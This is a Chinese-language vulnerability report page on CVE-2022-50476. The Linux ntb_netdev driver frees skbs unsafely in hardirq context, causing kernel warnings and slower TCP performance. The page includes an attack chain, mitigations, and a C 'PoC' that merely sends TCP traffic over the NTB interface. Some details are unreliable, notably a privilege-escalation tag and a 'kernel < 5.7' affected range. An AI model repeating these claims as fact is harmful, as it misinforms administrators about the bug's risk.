IPBUF安全漏洞报告
English
CVE-2022-50476 CVSS 5.5 中危

CVE-2022-50476 Linux内核ntb_netdev中断上下文释放skb漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50476
漏洞类型
不可中断上下文资源释放错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 ntb_netdev驱动

相关标签

Linux内核ntb_netdevDMA驱动AMD PTDMA中断上下文skb释放拒绝服务性能降级本地提权内核警告

漏洞概述

CVE-2022-50476是Linux内核ntb_netdev驱动中的一个漏洞,主要影响使用AMD PTDMA DMA引擎的系统。该漏洞源于ntb_netdev的TX/RX回调处理函数(ntb_netdev_tx_handler()和ntb_netdev_rx_handler())在中断上下文中被调用时,使用了非中断安全的dev_kfree_skb()函数来释放skb(socket buffer)。这些回调函数通过DMA框架在DMA操作完成时被调用,可能运行在硬中断上下文中。在Intel IOAT DMA引擎上,该驱动使用tasklets而非硬中断处理程序,因此未表现出明显问题。但在AMD PTDMA DMA驱动上,由于使用硬中断处理程序,调用非中断安全的dev_kfree_skb()会触发内核WARNING消息,该消息由skb_release_head_state()发出,原因是in_hardirq()返回true。除了用户可见的内核警告外,该漏洞还会导致ntb_netdev接口上的TCP/IP性能严重下降,约为预期性能的十分之一。修复后使用dev_kfree_skb_any()函数,该函数在中断上下文中安全,kernel警告停止,性能恢复到预期水平,在AMD Milan服务器上使用iperf测试可达到约20 Gb/s。该漏洞CVSS评分为5.5,属于中危级别,本地低权限攻击者即可触发,可能导致系统可用性受到影响。

技术细节

该漏洞的技术原理在于Linux内核网络子系统中skb释放函数的上下文安全性问题。dev_kfree_skb()是用于释放skb的标准函数,但它不是中断安全的,不能在硬中断上下文中调用。而dev_kfree_skb_any()是一个可以在任何上下文中安全调用的版本。

在ntb_netdev驱动中,当DMA操作完成时,会触发回调函数ntb_netdev_tx_handler()和ntb_netdev_rx_handler()。这些回调函数在DMA框架的硬中断处理程序中被调用。当使用AMD PTDMA DMA驱动时,回调直接运行在硬中断上下文中。此时调用非中断安全的dev_kfree_skb()会导致两个问题:

1. 内核会检测到在硬中断上下文中执行非安全操作,从skb_release_head_state()发出WARNING消息。
2. 由于中断上下文中的不当处理,skb释放可能不正确,导致TCP/IP性能大幅下降(约10倍性能损失)。

利用方式:本地低权限用户只需在受影响系统上正常使用ntb_netdev接口(如通过ntb传输网络流量),即可触发该漏洞。攻击者可以通过持续的网络流量使DMA操作频繁完成,反复触发中断上下文中的错误代码路径,导致系统日志被WARNING消息淹没,并使网络性能严重下降,影响系统可用性。

修复方法是将dev_kfree_skb()替换为dev_kfree_skb_any(),后者会根据当前上下文自动选择合适的释放方式,确保在硬中断上下文中也能安全执行。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在一台使用AMD PTDMA DMA引擎的Linux系统上拥有本地低权限账户,该系统使用ntb_netdev驱动进行网络通信。
STEP 2
步骤2:触发DMA操作
攻击者通过ntb_netdev接口发送或接收网络流量,触发DMA传输操作的完成事件。
STEP 3
步骤3:中断上下文调用错误函数
当DMA操作完成时,ntb_netdev_tx_handler()或ntb_netdev_rx_handler()在硬中断上下文(AMD PTDMA)中被调用。
STEP 4
步骤4:触发内核警告
在硬中断上下文中调用非中断安全的dev_kfree_skb(),导致skb_release_head_state()检测到in_hardirq()为true,发出内核WARNING消息。
STEP 5
步骤5:影响系统可用性
持续的网络流量导致系统日志被警告消息淹没,同时TCP/IP性能严重下降(约10倍性能损失),影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50476 - PoC for triggering the ntb_netdev skb release bug // This PoC demonstrates triggering the vulnerability by generating // continuous network traffic over the ntb_netdev interface on AMD systems #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define NTB_NETDEV_INTERFACE "ntb0" // Adjust to actual NTB interface name #define TARGET_IP "192.168.1.2" // Remote peer IP over NTB #define TARGET_PORT 5001 #define DURATION_SECONDS 30 // Trigger continuous DMA completions by sending/receiving TCP data // This causes ntb_netdev_tx_handler/rx_handler to be called in // hardirq context on AMD PTDMA systems, triggering the bug. int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in server_addr; char buffer[65536]; memset(buffer, 'A', sizeof(buffer)); // Create TCP socket over NTB interface sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket creation failed"); return 1; } // Bind to NTB interface struct sockaddr_in local_addr; memset(&local_addr, 0, sizeof(local_addr)); local_addr.sin_family = AF_INET; local_addr.sin_addr.s_addr = inet_addr("192.168.1.1"); bind(sockfd, (struct sockaddr *)&local_addr, sizeof(local_addr)); // Connect to peer memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(TARGET_PORT); server_addr.sin_addr.s_addr = inet_addr(TARGET_IP); if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("connect failed"); close(sockfd); return 1; } printf("Connected via %s, generating DMA traffic...\n", NTB_NETDEV_INTERFACE); printf("Watch dmesg for WARNING: skb_release_head_state()\n"); // Continuously send data to trigger DMA TX/RX completions // Each completion invokes ntb_netdev_tx/rx_handler in hardirq context for (int i = 0; i < DURATION_SECONDS * 1000; i++) { if (send(sockfd, buffer, sizeof(buffer), 0) < 0) { perror("send failed"); break; } } close(sockfd); printf("Done. Check dmesg for kernel warnings.\n"); return 0; }

影响范围

Linux kernel < 5.7 (需要具体提交修复的版本)
使用AMD PTDMA DMA驱动的Linux内核版本
使用ntb_netdev驱动的Linux内核版本(修复前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以考虑以下临时缓解措施:1)监控内核日志,及时发现WARNING消息;2)限制ntb_netdev接口上的网络流量以减少触发频率;3)如果可能,暂时禁用ntb_netdev驱动或切换到Intel IOAT DMA引擎(该引擎使用tasklets而非硬中断);4)使用cgroup或网络流量控制工具限制通过ntb_netdev的流量;5)关注Linux发行版厂商发布的安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表